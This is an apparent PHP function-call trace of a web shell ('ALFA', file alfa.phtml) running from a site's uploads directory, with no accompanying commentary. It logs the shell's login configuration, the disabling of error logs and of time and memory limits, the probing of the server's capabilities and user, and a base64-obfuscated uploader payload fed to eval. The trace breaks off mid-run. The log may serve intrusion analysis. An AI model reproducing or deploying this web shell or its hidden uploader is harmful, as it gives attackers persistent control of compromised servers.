2 19 0 0.012556 2767216 define 0 /var/www/html/uploads/alfa.phtml 183 2 '__ALFA_POST_ENCRYPTION__' FALSE
2 19 1 0.012570 2767320
2 19 R TRUE
2 20 0 0.012583 2767248 define 0 /var/www/html/uploads/alfa.phtml 184 2 '__ALFA_SECRET_KEY__' ''
2 20 1 0.012597 2767352
2 20 R TRUE
1 A /var/www/html/uploads/alfa.phtml 185 GLOBALS['__ALFA_COLOR__'] = ['shell_border' => ['key_color' => '#0E304A', 'multi_selector' => [...]], 'header_vars' => '#27979B', 'header_values' => '#67ABDF', 'header_on' => '#00FF00', 'header_off' => '#ff0000', 'header_none' => '#00FF00', 'home_shell' => '#ff0000', 'home_shell:hover' => ['key_color' => '#FFFFFF', 'multi_selector' => [...]], 'back_shell' => '#efbe73', 'back_shell:hover' => ['key_color' => '#FFFFFF', 'multi_selector' => [...]], 'header_pwd' => '#00FF00', 'header_pwd:hover' => ['key_color' => '#FFFFFF', 'multi_selector' => [...]], 'header_drive' => '#00FF00', 'header_drive:hover' => ['key_color' => '#FFFFFF', 'multi_selector' => [...]], 'header_show_all' => '#00FF00', 'disable_functions' => '#ff0000', 'footer_text' => '#27979B', 'menu_options' => '#27979B', 'menu_options:hover' => ['key_color' => '#646464', 'multi_selector' => [...]], 'options_list' => ['key_color' => '#00FF00', 'multi_selector' => [...]], 'options_list:hover' => ['key_color' => '#FFFFFF', 'multi_selector' => [...]], 'options_list_header' => ['key_color' => '#59cc33', 'multi_selector' => [...]], 'options_list_text' => ['key_color' => '#FFFFFF', 'multi_selector' => [...]], 'Alfa+' => ['key_color' => '#06ff0f', 'multi_selector' => [...]], 'hidden_shell_text' => ['key_color' => '#00FF00', 'multi_selector' => [...]], 'hidden_shell_version' => '#ff0000', 'shell_name' => '#FF0000', 'main_row:hover' => ['key_color' => '#646464', 'multi_selector' => [...]], 'main_header' => ['key_color' => '#FFFFFF', 'multi_selector' => [...]], 'main_name' => ['key_color' => '#FFFFFF', 'multi_selector' => [...]], 'main_size' => '#67ABDF', 'main_modify' => '#67ABDF', 'main_owner_group' => '#67ABDF', 'main_green_perm' => '#25ff00', 'main_red_perm' => '#FF0000', 'main_white_perm' => '#FFFFFF', 'beetween_perms' => '#FFFFFF', 'main_actions' => ['key_color' => '#FFFFFF', 'multi_selector' => [...]], 'minimize_editor_background' => ['key_color' => '#0e304a', 'multi_selector' => [...]], 'minimize_editor_text' => ['key_color' => '#f5deb3', 'multi_selector' => [...]], 'editor_border' => ['key_color' => '#0e304a', 'multi_selector' => [...]], 'editor_background' => ['key_color' => 'rgba(0, 1, 23, 0.94)', 'multi_selector' => [...]], 'editor_header_background' => ['key_color' => 'rgba(21, 66, 88, 0.93)', 'multi_selector' => [...]], 'editor_header_text' => ['key_color' => '#00ff7f', 'multi_selector' => [...]], 'editor_header_button' => ['key_color' => '#1d5673', 'multi_selector' => [...]], 'editor_actions' => ['key_color' => '#FFFFFF', 'multi_selector' => [...]], 'editor_file_info_vars' => ['key_color' => '#FFFFFF', 'multi_selector' => [...]], 'editor_file_info_values' => ['key_color' => '#67ABDF', 'multi_selector' => [...]], 'editor_history_header' => ['key_color' => '#14ff07', 'multi_selector' => [...]], 'editor_history_list' => ['key_color' => '#03b3a3', 'multi_selector' => [...]], 'editor_history_selected_file' => ['key_color' => 'rgba(49, 55, 93, 0.77)', 'multi_selector' => [...]], 'editor_history_file:hover' => ['key_color' => '#646464', 'multi_selector' => [...]], 'input_box_border' => ['key_color' => '#0E304A', 'multi_selector' => [...]], 'input_box_text' => ['key_color' => '#999999', 'multi_selector' => [...]], 'input_box:hover' => ['key_color' => '#27979B', 'multi_selector' => [...]], 'select_box_border' => ['key_color' => '#0E304A', 'multi_selector' => [...]], 'select_box_text' => ['key_color' => '#FFFFEE', 'multi_selector' => [...]], 'select_box:hover' => ['key_color' => '#27979B', 'multi_selector' => [...]], 'button_border' => ['key_color' => '#27979B', 'multi_selector' => [...]], 'button:hover' => ['key_color' => '#27979B', 'multi_selector' => [...]], 'outputs_text' => ['key_color' => '#67ABDF', 'multi_selector' => [...]], 'outputs_border' => ['key_color' => '#0E304A', 'multi_selector' => [...]], 'uploader_border' => ['key_color' => '#0E304A', 'multi_selector' => [...]], 'uploader_background' => ['key_color' => '#0E304A', 'multi_selector' => [...]], 'uploader_text_right' => ['key_color' => '#FFFFFF', 'multi_selector' => [...]], 'uploader_text_left' => ['key_color' => '#25ff00', 'multi_selector' => [...]], 'uploader:hover' => ['key_color' => '#27979B', 'multi_selector' => [...]], 'uploader_progress_bar' => ['key_color' => '#00ff00', 'multi_selector' => [...]], 'mysql_tables' => '#00FF00', 'mysql_table_count' => '#67ABDF', 'copyright' => '#dfff00', 'scrollbar' => ['key_color' => '#1e82b5', 'multi_selector' => [...]], 'scrollbar_background' => ['key_color' => '#000115', 'multi_selector' => [...]]]
2 21 0 0.012733 2767280 preg_replace 0 /var/www/html/uploads/alfa.phtml 511 3 '!\\(\\d+\\)\\s.*!' '' '/var/www/html/uploads/alfa.phtml'
2 21 1 0.012750 2767376
2 21 R '/var/www/html/uploads/alfa.phtml'
2 22 0 0.012765 2767280 trim 0 /var/www/html/uploads/alfa.phtml 511 1 '/var/www/html/uploads/alfa.phtml'
2 22 1 0.012777 2767312
2 22 R '/var/www/html/uploads/alfa.phtml'
2 23 0 0.012792 2767280 str_replace 0 /var/www/html/uploads/alfa.phtml 511 3 '\\' '/' '/var/www/html/uploads/alfa.phtml'
2 23 1 0.012807 2767376
2 23 R '/var/www/html/uploads/alfa.phtml'
1 A /var/www/html/uploads/alfa.phtml 511 GLOBALS['__file_path'] = '/var/www/html/uploads/alfa.phtml'
1 A /var/www/html/uploads/alfa.phtml 512 $config = ['AlfaUser' => 'alfa', 'AlfaPass' => 'a6f452ec3293d7fb72c5b677257b20ec', 'AlfaProtectShell' => '0', 'AlfaLoginPage' => '403']
2 24 0 0.012855 2767656 session_write_close 0 /var/www/html/uploads/alfa.phtml 514 0
2 24 1 0.012868 2767656
2 24 R FALSE
2 25 0 0.012881 2767656 ignore_user_abort 0 /var/www/html/uploads/alfa.phtml 515 1 TRUE
2 25 1 0.012896 2767720
2 25 R 0
2 26 0 0.012908 2767688 set_time_limit 0 /var/www/html/uploads/alfa.phtml 516 1 0
2 26 1 0.012925 2767752
2 26 R FALSE
2 27 0 0.012938 2767720 ini_set 0 /var/www/html/uploads/alfa.phtml 517 2 'memory_limit' '-1'
2 27 1 0.012953 2767824
2 27 R '128M'
2 28 0 0.012966 2767720 ini_set 0 /var/www/html/uploads/alfa.phtml 518 2 'upload_max_filesize' '9999m'
2 28 1 0.012981 2767792
2 28 R FALSE
2 29 0 0.012996 2767720 error_reporting 0 /var/www/html/uploads/alfa.phtml 853 1 32759
2 29 1 0.013009 2767792
2 29 R 0
2 30 0 0.013021 2767752 ini_set 0 /var/www/html/uploads/alfa.phtml 854 2 'error_log' NULL
2 30 1 0.013040 2767824
2 30 R ''
2 31 0 0.013054 2767752 ini_set 0 /var/www/html/uploads/alfa.phtml 855 2 'log_errors' 0
2 31 1 0.013067 2767824
2 31 R '1'
2 32 0 0.013080 2767752 ini_set 0 /var/www/html/uploads/alfa.phtml 856 2 'max_execution_time' 0
2 32 1 0.013093 2767792
2 32 R '0'
2 33 0 0.013106 2767720 ini_set 0 /var/www/html/uploads/alfa.phtml 857 2 'magic_quotes_runtime' 0
2 33 1 0.013119 2767792
2 33 R FALSE
2 34 0 0.013132 2767720 set_time_limit 0 /var/www/html/uploads/alfa.phtml 858 1 0
2 34 1 0.013144 2767784
2 34 R FALSE
2 35 0 0.013157 2767752 function_exists 0 /var/www/html/uploads/alfa.phtml 859 1 'set_magic_quotes_runtime'
2 35 1 0.013171 2767792
2 35 R FALSE
1 A /var/www/html/uploads/alfa.phtml 875 $default_action = 'FilesMan2'
1 A /var/www/html/uploads/alfa.phtml 876 $default_use_ajax = TRUE
1 A /var/www/html/uploads/alfa.phtml 877 $default_charset = 'Windows-1251'
2 36 0 0.013217 2767752 substr 0 /var/www/html/uploads/alfa.phtml 878 3 'Linux' 0 3
2 36 1 0.013231 2767880
2 36 R 'Lin'
2 37 0 0.013244 2767784 strtolower 0 /var/www/html/uploads/alfa.phtml 878 1 'Lin'
2 37 1 0.013256 2767848
2 37 R 'lin'
1 A /var/www/html/uploads/alfa.phtml 881 GLOBALS['sys'] = 'unix'
2 38 0 0.013282 2767752 alfaGetCwd 1 /var/www/html/uploads/alfa.phtml 882 0
3 39 0 0.013294 2767752 function_exists 0 /var/www/html/uploads/alfa.phtml 737 1 'getcwd'
3 39 1 0.013308 2767792
3 39 R TRUE
3 40 0 0.013321 2767752 getcwd 0 /var/www/html/uploads/alfa.phtml 738 0
3 40 1 0.013335 2767800
3 40 R '/var/www/html/uploads'
2 38 1 0.013350 2767800
2 38 R '/var/www/html/uploads'
1 A /var/www/html/uploads/alfa.phtml 882 GLOBALS['home_cwd'] = '/var/www/html/uploads'
1 A /var/www/html/uploads/alfa.phtml 883 GLOBALS['need_to_update_header'] = 'false'
1 A /var/www/html/uploads/alfa.phtml 884 GLOBALS['glob_chdir_false'] = FALSE
2 41 0 0.013402 2767800 alfaGetCwd 1 /var/www/html/uploads/alfa.phtml 890 0
3 42 0 0.013414 2767800 function_exists 0 /var/www/html/uploads/alfa.phtml 737 1 'getcwd'
3 42 1 0.013427 2767840
3 42 R TRUE
3 43 0 0.013439 2767800 getcwd 0 /var/www/html/uploads/alfa.phtml 738 0
3 43 1 0.013452 2767848
3 43 R '/var/www/html/uploads'
2 41 1 0.013467 2767848
2 41 R '/var/www/html/uploads'
1 A /var/www/html/uploads/alfa.phtml 890 GLOBALS['cwd'] = '/var/www/html/uploads'
1 A /var/www/html/uploads/alfa.phtml 898 ['cwd'] .= '/'
2 44 0 0.013508 2767848 function_exists 0 /var/www/html/uploads/alfa.phtml 899 1 'sys_get_temp_dir'
2 44 1 0.013522 2767888
2 44 R TRUE
2 45 0 0.013546 2767848 function_exists 0 /var/www/html/uploads/alfa.phtml 900 1 'mb_strlen'
2 45 1 0.013561 2767888
2 45 R FALSE
2 46 0 0.013582 2767848 function_exists 0 /var/www/html/uploads/alfa.phtml 905 1 'mb_substr'
2 46 1 0.013624 2767888
2 46 R FALSE
2 47 0 0.013640 2767848 function_exists 0 /var/www/html/uploads/alfa.phtml 910 1 'sys_get_temp_dir'
2 47 1 0.013653 2767888
2 47 R TRUE
2 48 0 0.013666 2767848 sys_get_temp_dir 0 /var/www/html/uploads/alfa.phtml 910 0
2 48 1 0.013679 2767888
2 48 R '/tmp'
2 49 0 0.013692 2767888 str_replace 0 /var/www/html/uploads/alfa.phtml 910 3 '\\' '/' '/tmp'
2 49 1 0.013706 2767984
2 49 R '/tmp'
2 50 0 0.013719 2767888 is_writable 0 /var/www/html/uploads/alfa.phtml 910 1 '/tmp'
2 50 1 0.013743 2767928
2 50 R TRUE
2 51 0 0.013757 2767856 sys_get_temp_dir 0 /var/www/html/uploads/alfa.phtml 910 0
2 51 1 0.013769 2767888
2 51 R '/tmp'
2 52 0 0.013782 2767888 define 0 /var/www/html/uploads/alfa.phtml 910 2 'ALFA_TEMPDIR' '/tmp'
2 52 1 0.013797 2767992
2 52 R TRUE
2 53 0 0.013812 2767920 function_exists 0 /var/www/html/uploads/alfa.phtml 2399 1 'posix_getpwuid'
2 53 1 0.013826 2767960
2 53 R TRUE
2 54 0 0.013838 2767920 function_exists 0 /var/www/html/uploads/alfa.phtml 2401 1 'posix_getgrgid'
2 54 1 0.013855 2767960
2 54 R TRUE
2 55 0 0.013868 2767920 function_exists 0 /var/www/html/uploads/alfa.phtml 2459 1 'scandir'
2 55 1 0.013881 2767960
2 55 R TRUE
2 56 0 0.013899 2767920 function_exists 0 /var/www/html/uploads/alfa.phtml 6162 1 'json_encode'
2 56 1 0.013912 2767960
2 56 R TRUE
2 57 0 0.013924 2767920 function_exists 0 /var/www/html/uploads/alfa.phtml 6204 1 'json_decode'
2 57 1 0.013937 2767960
2 57 R TRUE
2 58 0 0.013950 2767960 function_exists 0 /var/www/html/uploads/alfa.phtml 6520 1 'alfaFilesMan2'
2 58 1 0.013964 2768000
2 58 R TRUE
1 A /var/www/html/uploads/alfa.phtml 6521 _POST['a'] = 'FilesMan2'
2 59 0 0.013989 2768336 function_exists 0 /var/www/html/uploads/alfa.phtml 6524 1 'alfaFilesMan2'
2 59 1 0.014003 2768376
2 59 R TRUE
2 60 0 0.014016 2768296 alfaFilesMan2 1 /var/www/html/uploads/alfa.phtml 6525 0
3 61 0 0.014034 2768296 alfahead 1 /var/www/html/uploads/alfa.phtml 2560 0
3 A /var/www/html/uploads/alfa.phtml 912 GLOBALS['__ALFA_SHELL_CODE'] = 'PD9waHAgZWNobyAiPHRpdGxlPlNvbGV2aXNpYmxlIFVwbG9hZGVyPC90aXRsZT5cbjxib2R5IGJnY29sb3I9IzAwMDAwMD5cbjxicj5cbjxjZW50ZXI+PGZvbnQgY29sb3I9XCJ3aGl0ZVwiPjxiPllvdXIgSXAgQWRkcmVzcyBpczwvYj4gPGZvbnQgY29sb3I9XCJ3aGl0ZVwiPjwvZm9udD48L2NlbnRlcj5cbjxiaWc+PGZvbnQgY29sb3I9XCIjN0NGQzAwXCI+PGNlbnRlcj5cbiI7ZWNobyAkX1NFUlZFUlsnUkVNT1RFX0FERFInXTtlY2hvICI8L2NlbnRlcj48L2ZvbnQ+PC9hPjxmb250IGNvbG9yPVwiIzdDRkMwMFwiPlxuPGJyPlxuPGJyPlxuPGNlbnRlcj48Zm9udCBjb2xvcj1cIiM3Q0ZDMDBcIj48YmlnPlNvbGV2aXNpYmxlIFVwbG9hZCBBcmVhPC9iaWc+PC9mb250Pjwv'
3 A /var/www/html/uploads/alfa.phtml 913 $alfa_uploader = '$x = base64_decode("PD9waHAgZWNobyAiPHRpdGxlPlNvbGV2aXNpYmxlIFVwbG9hZGVyPC90aXRsZT5cbjxib2R5IGJnY29sb3I9IzAwMDAwMD5cbjxicj5cbjxjZW50ZXI+PGZvbnQgY29sb3I9XCJ3aGl0ZVwiPjxiPllvdXIgSXAgQWRkcmVzcyBpczwvYj4gPGZvbnQgY29sb3I9XCJ3aGl0ZVwiPjwvZm9udD48L2NlbnRlcj5cbjxiaWc+PGZvbnQgY29sb3I9XCIjN0NGQzAwXCI+PGNlbnRlcj5cbiI7ZWNobyAkX1NFUlZFUlsnUkVNT1RFX0FERFInXTtlY2hvICI8L2NlbnRlcj48L2ZvbnQ+PC9hPjxmb250IGNvbG9yPVwiIzdDRkMwMFwiPlxuPGJyPlxuPGJyPlxuPGNlbnRlcj48Zm9udCBjb2xvcj1cIiM3Q0ZDMDBcIj48YmlnPlNvbGV2aXNpYmxlIFVwbG9hZCBBcmVh'
4 62 0 0.014105 2770088 __ZW5jb2Rlcg 1 /var/www/html/uploads/alfa.phtml 914 1 '$x = base64_decode("PD9waHAgZWNobyAiPHRpdGxlPlNvbGV2aXNpYmxlIFVwbG9hZGVyPC90aXRsZT5cbjxib2R5IGJnY29sb3I9IzAwMDAwMD5cbjxicj5cbjxjZW50ZXI+PGZvbnQgY29sb3I9XCJ3aGl0ZVwiPjxiPllvdXIgSXAgQWRkcmVzcyBpczwvYj4gPGZvbnQgY29sb3I9XCJ3aGl0ZVwiPjwvZm9udD48L2NlbnRlcj5cbjxiaWc+PGZvbnQgY29sb3I9XCIjN0NGQzAwXCI+PGNlbnRlcj5cbiI7ZWNobyAkX1NFUlZFUlsnUkVNT1RFX0FERFInXTtlY2hvICI8L2NlbnRlcj48L2ZvbnQ+PC9hPjxmb250IGNvbG9yPVwiIzdDRkMwMFwiPlxuPGJyPlxuPGJyPlxuPGNlbnRlcj48Zm9udCBjb2xvcj1cIiM3Q0ZDMDBcIj48YmlnPlNvbGV2aXNpYmxlIFVwbG9hZCBBcmVh'
5 63 0 0.014133 2770088 vcnvSCZgBz 1 /var/www/html/uploads/alfa.phtml 119 1 '$x = base64_decode("PD9waHAgZWNobyAiPHRpdGxlPlNvbGV2aXNpYmxlIFVwbG9hZGVyPC90aXRsZT5cbjxib2R5IGJnY29sb3I9IzAwMDAwMD5cbjxicj5cbjxjZW50ZXI+PGZvbnQgY29sb3I9XCJ3aGl0ZVwiPjxiPllvdXIgSXAgQWRkcmVzcyBpczwvYj4gPGZvbnQgY29sb3I9XCJ3aGl0ZVwiPjwvZm9udD48L2NlbnRlcj5cbjxiaWc+PGZvbnQgY29sb3I9XCIjN0NGQzAwXCI+PGNlbnRlcj5cbiI7ZWNobyAkX1NFUlZFUlsnUkVNT1RFX0FERFInXTtlY2hvICI8L2NlbnRlcj48L2ZvbnQ+PC9hPjxmb250IGNvbG9yPVwiIzdDRkMwMFwiPlxuPGJyPlxuPGJyPlxuPGNlbnRlcj48Zm9udCBjb2xvcj1cIiM3Q0ZDMDBcIj48YmlnPlNvbGV2aXNpYmxlIFVwbG9hZCBBcmVh'
5 A /var/www/html/uploads/alfa.phtml 68 $b = 'base64_encode'
6 64 0 0.014172 2770088 base64_encode 0 /var/www/html/uploads/alfa.phtml 69 1 '$x = base64_decode("PD9waHAgZWNobyAiPHRpdGxlPlNvbGV2aXNpYmxlIFVwbG9hZGVyPC90aXRsZT5cbjxib2R5IGJnY29sb3I9IzAwMDAwMD5cbjxicj5cbjxjZW50ZXI+PGZvbnQgY29sb3I9XCJ3aGl0ZVwiPjxiPllvdXIgSXAgQWRkcmVzcyBpczwvYj4gPGZvbnQgY29sb3I9XCJ3aGl0ZVwiPjwvZm9udD48L2NlbnRlcj5cbjxiaWc+PGZvbnQgY29sb3I9XCIjN0NGQzAwXCI+PGNlbnRlcj5cbiI7ZWNobyAkX1NFUlZFUlsnUkVNT1RFX0FERFInXTtlY2hvICI8L2NlbnRlcj48L2ZvbnQ+PC9hPjxmb250IGNvbG9yPVwiIzdDRkMwMFwiPlxuPGJyPlxuPGJyPlxuPGNlbnRlcj48Zm9udCBjb2xvcj1cIiM3Q0ZDMDBcIj48YmlnPlNvbGV2aXNpYmxlIFVwbG9hZCBBcmVh'
6 64 1 0.014199 2772680
6 64 R 'JHggPSBiYXNlNjRfZGVjb2RlKCJQRDl3YUhBZ1pXTm9ieUFpUEhScGRHeGxQbE52YkdWMmFYTnBZbXhsSUZWd2JHOWhaR1Z5UEM5MGFYUnNaVDVjYmp4aWIyUjVJR0puWTI5c2IzSTlJekF3TURBd01ENWNianhpY2o1Y2JqeGpaVzUwWlhJK1BHWnZiblFnWTI5c2IzSTlYQ0ozYUdsMFpWd2lQanhpUGxsdmRYSWdTWEFnUVdSa2NtVnpjeUJwY3p3dllqNGdQR1p2Ym5RZ1kyOXNiM0k5WENKM2FHbDBaVndpUGp3dlptOXVkRDQ4TDJObGJuUmxjajVjYmp4aWFXYytQR1p2Ym5RZ1kyOXNiM0k5WENJak4wTkdRekF3WENJK1BHTmxiblJsY2o1Y2JpSTdaV05vYnlBa1gxTkZVbFpGVWxzblVrVk5UMVJGWDBGRVJGSW5YVHRsWTJodklDSThMMk5sYm5SbGNqNDhMMlp2Ym5RK1BDOWhQanht'
5 63 1 0.014230 2772648
5 63 R 'JHggPSBiYXNlNjRfZGVjb2RlKCJQRDl3YUhBZ1pXTm9ieUFpUEhScGRHeGxQbE52YkdWMmFYTnBZbXhsSUZWd2JHOWhaR1Z5UEM5MGFYUnNaVDVjYmp4aWIyUjVJR0puWTI5c2IzSTlJekF3TURBd01ENWNianhpY2o1Y2JqeGpaVzUwWlhJK1BHWnZiblFnWTI5c2IzSTlYQ0ozYUdsMFpWd2lQanhpUGxsdmRYSWdTWEFnUVdSa2NtVnpjeUJwY3p3dllqNGdQR1p2Ym5RZ1kyOXNiM0k5WENKM2FHbDBaVndpUGp3dlptOXVkRDQ4TDJObGJuUmxjajVjYmp4aWFXYytQR1p2Ym5RZ1kyOXNiM0k5WENJak4wTkdRekF3WENJK1BHTmxiblJsY2o1Y2JpSTdaV05vYnlBa1gxTkZVbFpGVWxzblVrVk5UMVJGWDBGRVJGSW5YVHRsWTJodklDSThMMk5sYm5SbGNqNDhMMlp2Ym5RK1BDOWhQanht'
4 62 1 0.014260 2772648
4 62 R 'JHggPSBiYXNlNjRfZGVjb2RlKCJQRDl3YUhBZ1pXTm9ieUFpUEhScGRHeGxQbE52YkdWMmFYTnBZbXhsSUZWd2JHOWhaR1Z5UEM5MGFYUnNaVDVjYmp4aWIyUjVJR0puWTI5c2IzSTlJekF3TURBd01ENWNianhpY2o1Y2JqeGpaVzUwWlhJK1BHWnZiblFnWTI5c2IzSTlYQ0ozYUdsMFpWd2lQanhpUGxsdmRYSWdTWEFnUVdSa2NtVnpjeUJwY3p3dllqNGdQR1p2Ym5RZ1kyOXNiM0k5WENKM2FHbDBaVndpUGp3dlptOXVkRDQ4TDJObGJuUmxjajVjYmp4aWFXYytQR1p2Ym5RZ1kyOXNiM0k5WENJak4wTkdRekF3WENJK1BHTmxiblJsY2o1Y2JpSTdaV05vYnlBa1gxTkZVbFpGVWxzblVrVk5UMVJGWDBGRVJGSW5YVHRsWTJodklDSThMMk5sYm5SbGNqNDhMMlp2Ym5RK1BDOWhQanht'
4 65 0 0.014291 2772648 define 0 /var/www/html/uploads/alfa.phtml 914 2 'ALFA_UPLOADER' 'eval(base64_decode(\'JHggPSBiYXNlNjRfZGVjb2RlKCJQRDl3YUhBZ1pXTm9ieUFpUEhScGRHeGxQbE52YkdWMmFYTnBZbXhsSUZWd2JHOWhaR1Z5UEM5MGFYUnNaVDVjYmp4aWIyUjVJR0puWTI5c2IzSTlJekF3TURBd01ENWNianhpY2o1Y2JqeGpaVzUwWlhJK1BHWnZiblFnWTI5c2IzSTlYQ0ozYUdsMFpWd2lQanhpUGxsdmRYSWdTWEFnUVdSa2NtVnpjeUJwY3p3dllqNGdQR1p2Ym5RZ1kyOXNiM0k5WENKM2FHbDBaVndpUGp3dlptOXVkRDQ4TDJObGJuUmxjajVjYmp4aWFXYytQR1p2Ym5RZ1kyOXNiM0k5WENJak4wTkdRekF3WENJK1BHTmxiblJsY2o1Y2JpSTdaV05vYnlBa1gxTkZVbFpGVWxzblVrVk5UMVJGWDBGRVJGSW5YVHRsWTJodklDSThMMk5sYm5SbGNqNDh'
4 65 1 0.014319 2772752
4 65 R TRUE
3 A /var/www/html/uploads/alfa.phtml 966 _POST['charset'] = 'Windows-1251'
4 66 0 0.014347 2772680 function_exists 0 /var/www/html/uploads/alfa.phtml 967 1 'diskfreespace'
4 66 1 0.014360 2772720
4 66 R TRUE
4 67 0 0.014373 2772680 diskfreespace 0 /var/www/html/uploads/alfa.phtml 967 1 '/var/www/html/uploads/'
4 67 1 0.014391 2772712
4 67 R 195997663232
3 A /var/www/html/uploads/alfa.phtml 967 $freeSpace = 195997663232
4 68 0 0.014417 2772680 function_exists 0 /var/www/html/uploads/alfa.phtml 968 1 'disk_total_space'
4 68 1 0.014431 2772720
4 68 R TRUE
4 69 0 0.014443 2772680 disk_total_space 0 /var/www/html/uploads/alfa.phtml 968 1 '/var/www/html/uploads/'
4 69 1 0.014458 2772712
4 69 R 232015802368
3 A /var/www/html/uploads/alfa.phtml 968 $totalSpace = 232015802368
3 A /var/www/html/uploads/alfa.phtml 969 $totalSpace = 232015802368
3 A /var/www/html/uploads/alfa.phtml 970 $on = '<span class=\'header_on\'> ON </span>'
3 A /var/www/html/uploads/alfa.phtml 971 $of = '<span class=\'header_off\'> OFF </span>'
3 A /var/www/html/uploads/alfa.phtml 972 $none = '<span class=\'header_none\'> NONE </span>'
4 70 0 0.014529 2772680 function_exists 0 /var/www/html/uploads/alfa.phtml 973 1 'ssh2_connect'
4 70 1 0.014543 2772720
4 70 R FALSE
3 A /var/www/html/uploads/alfa.phtml 976 $ssh2 = '<span class=\'header_off\'> OFF </span>'
4 71 0 0.014567 2772680 function_exists 0 /var/www/html/uploads/alfa.phtml 977 1 'curl_version'
4 71 1 0.014580 2772720
4 71 R TRUE
3 A /var/www/html/uploads/alfa.phtml 978 $curl = '<span class=\'header_on\'> ON </span>'
4 72 0 0.014604 2772680 function_exists 0 /var/www/html/uploads/alfa.phtml 981 1 'mysql_get_client_info'
4 72 1 0.014618 2772720
4 72 R FALSE
4 73 0 0.014630 2772680 class_exists 0 /var/www/html/uploads/alfa.phtml 981 1 'mysqli'
4 73 1 0.014644 2772720
4 73 R FALSE
3 A /var/www/html/uploads/alfa.phtml 984 $mysql = '<span class=\'header_off\'> OFF </span>'
4 74 0 0.014668 2772680 function_exists 0 /var/www/html/uploads/alfa.phtml 985 1 'mssql_connect'
4 74 1 0.014681 2772720
4 74 R FALSE
3 A /var/www/html/uploads/alfa.phtml 988 $mssql = '<span class=\'header_off\'> OFF </span>'
4 75 0 0.014705 2772680 function_exists 0 /var/www/html/uploads/alfa.phtml 989 1 'pg_connect'
4 75 1 0.014718 2772720
4 75 R FALSE
3 A /var/www/html/uploads/alfa.phtml 992 $pg = '<span class=\'header_off\'> OFF </span>'
4 76 0 0.014742 2772680 function_exists 0 /var/www/html/uploads/alfa.phtml 993 1 'oci_connect'
4 76 1 0.014755 2772720
4 76 R FALSE
3 A /var/www/html/uploads/alfa.phtml 996 $or = '<span class=\'header_off\'> OFF </span>'
4 77 0 0.014778 2772680 ini_get 0 /var/www/html/uploads/alfa.phtml 997 1 'disable_functions'
4 77 1 0.014792 2773160
4 77 R 'pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,'
4 78 0 0.014817 2772680 ini_get 0 /var/www/html/uploads/alfa.phtml 998 1 'disable_functions'
4 78 1 0.014830 2773160
4 78 R 'pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,'
3 A /var/www/html/uploads/alfa.phtml 998 $disfun = 'pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,'
4 79 0 0.014876 2773128 ini_get 0 /var/www/html/uploads/alfa.phtml 1001 1 'safe_mode'
4 79 1 0.014889 2773160
4 79 R FALSE
3 A /var/www/html/uploads/alfa.phtml 1004 $safe_modes = '<span class=\'header_on\'>OFF</span>'
3 A /var/www/html/uploads/alfa.phtml 1005 $cgi_shell = '<span class=\'header_off\' id=\'header_cgishell\'>OFF</span>'
4 80 0 0.014932 2773128 ini_get 0 /var/www/html/uploads/alfa.phtml 1006 1 'open_basedir'
4 80 1 0.014945 2773160
4 80 R ''
3 A /var/www/html/uploads/alfa.phtml 1013 $open_b = '<span class=\'header_none\'> NONE </span>'
4 81 0 0.014970 2773128 ini_get 0 /var/www/html/uploads/alfa.phtml 1014 1 'safe_mode_exec_dir'
4 81 1 0.014983 2773160
4 81 R FALSE
3 A /var/www/html/uploads/alfa.phtml 1017 $safe_exe = '<span class=\'header_none\'> NONE </span>'
4 82 0 0.015008 2773128 ini_get 0 /var/www/html/uploads/alfa.phtml 1018 1 'safe_mode_include_dir'
4 82 1 0.015021 2773160
4 82 R FALSE
3 A /var/www/html/uploads/alfa.phtml 1021 $safe_include = '<span class=\'header_none\'> NONE </span>'
4 83 0 0.015045 2773128 function_exists 0 /var/www/html/uploads/alfa.phtml 1022 1 'posix_getegid'
4 83 1 0.015059 2773168
4 83 R TRUE
4 84 0 0.015071 2773128 function_exists 0 /var/www/html/uploads/alfa.phtml 1029 1 'posix_getpwuid'
4 84 1 0.015085 2773168
4 84 R TRUE
4 85 0 0.015097 2773128 function_exists 0 /var/www/html/uploads/alfa.phtml 1029 1 'posix_geteuid'
4 85 1 0.015110 2773168
4 85 R TRUE
4 86 0 0.015123 2773128 posix_geteuid 0 /var/www/html/uploads/alfa.phtml 1029 0
4 86 1 0.015136 2773128
4 86 R 33
4 87 0 0.015148 2773128 posix_getpwuid 0 /var/www/html/uploads/alfa.phtml 1029 1 33
4 87 1 0.015194 2773960
4 87 R ['name' => 'www-data', 'passwd' => 'x', 'uid' => 33, 'gid' => 33, 'gecos' => 'www-data', 'dir' => '/var/www', 'shell' => '/usr/sbin/nologin']
3 A /var/www/html/uploads/alfa.phtml 1029 $uid = ['name' => 'www-data', 'passwd' => 'x', 'uid' => 33, 'gid' => 33, 'gecos' => 'www-data', 'dir' => '/var/www', 'shell' => '/usr/sbin/nologin']
4 88 0 0.015238 2773928 function_exists 0 /var/www/html/uploads/alfa.phtml 1030 1 'posix_getgrgid'
4 88 1 0.015251 2773968
4 88 R TRUE
4 89 0 0.015264 2773928 function_exists 0 /var/www/html/uploads/alfa.phtml 1030 1 'posix_getegid'
4 89 1 0.015277 2773968
4 89 R TRUE
